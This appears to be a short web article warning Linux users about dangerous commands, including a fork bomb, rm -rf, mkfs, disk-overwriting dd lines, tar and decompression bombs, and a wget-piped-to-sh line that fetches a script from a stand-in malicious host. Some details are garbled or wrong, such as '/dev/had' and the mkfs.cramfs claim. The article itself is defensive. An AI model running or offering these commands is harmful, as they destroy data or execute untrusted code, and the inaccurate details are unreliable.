Linux Commands and Codes

Studying the command line provides insight into how computers really work. This is because the command line is much closer to the internal functioning of computers than are GUIs, which are generally just front ends for the commands used on the command line.
We have summerized some Linux commands that are quite harmful for your system to help you avoid them. Do keep in mind that they are indeed dangerous and can even be altered in a variety of ways to produce new commands to inflict more damage.

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Take a look at these commands and codes you should avoid executing.
1. Linux Fork Bomb Command
:(){ :|: & };: also known as Fork Bomb is a denial-of-service attack against a Linux System.
:(){ :|: & };: is a bash function. Once executed, it repeats itself multiple times until the system freezes. You can only get rid of it by restarting your system. So be careful when executing this command on your Linux shell.
2. mv folder/dev/null Command
mv folder/dev/null is another risky command. Dev/null or null device is a device file that discards all the data written on it but it reports that the writing operation is executed successfully. It is also known as bit bucked or black hole.
3. rm -rf command
rm -rf command is a fast way to delete a folder and its content in the Linux operating system. If you don’t know how to use it properly then it can become very dangerous to the system.
4. mkfs command
mkfs can be a dangerous command for your Linux based system if you don’t know its purpose. Anything written after the mkfs will be formatted and replaced by a blank Linux file system.
All the commands mentioned below will format the hard drive and it requires administrator rights:
mkfs
mkfs.ext3
mkfs.bfs
mkfs.ext2
mkfs.minix
mkfs.msdos
mkfs.reiserfs
mkfs.vfat
The command mkfs.cramfs will do the same thing as the above but it does not require administrator rights to execute.
5. Tar Bomb
The tar command is used for combining multiple files into a single file (archived file) in .tar format. A Tape Archive (Tar) bomb can be created with this command. It is an archive file which explodes into thousands or millions of files with names similar to the existing files into the current directory rather than into a new directory when untarred. You can avoid becoming a victim of a tar bomb by regularly creating a new protective directory whenever you receive a tar file and then moving the received tar file into this directory before untarring. If the tar file is indeed a tar bomb then you can simply remove the newly created directory to get rid of it.
6. dd command
The dd command is used to copy & convert hard disk partitions. However, it can turn out to be harmful if you specify the wrong destination. The command may be any one of these:
dd if=/dev/hda of=/dev/hdb
dd if=/dev/hda of=/dev/sdb
dd if=something of=/dev/hda
dd if=something of=/dev/sda
The following command will zero out the whole primary hard drive:
dd if=/dev/zero of=/dev/had
7. Shell Script Code
Someone may victimize you by giving you the link to a shell script and endorsing you to download and execute it. The script may contain some malicious or dangerous code inside. The format of command may look like this:
wget http://some_malicious_source -O- | sh. The "wget" will download the script while the "sh" downloads the script execution.
8. Malicious Source Code
Someone gives you the source code and asks you to compile it. The code may appear to be a normal code but in fact some malicious code is disguised in the large source code and it may cause harm to your system. To avoid being victimized by this kind of attack, only accept and compile your source code from trustworthy sources.
9. Decompression Bomb
You have received a compressed file and you are asked to extract this file which appears to be very small in size but may be a few KB. In fact, this small sized compressed file contains very highly compressed data. Once the file is decompressed, hundreds of GB of data is extracted which can fill up your hard drive to bring down the performance of your system. To avoid this situation, always remember to accept data from trustworthy sources.
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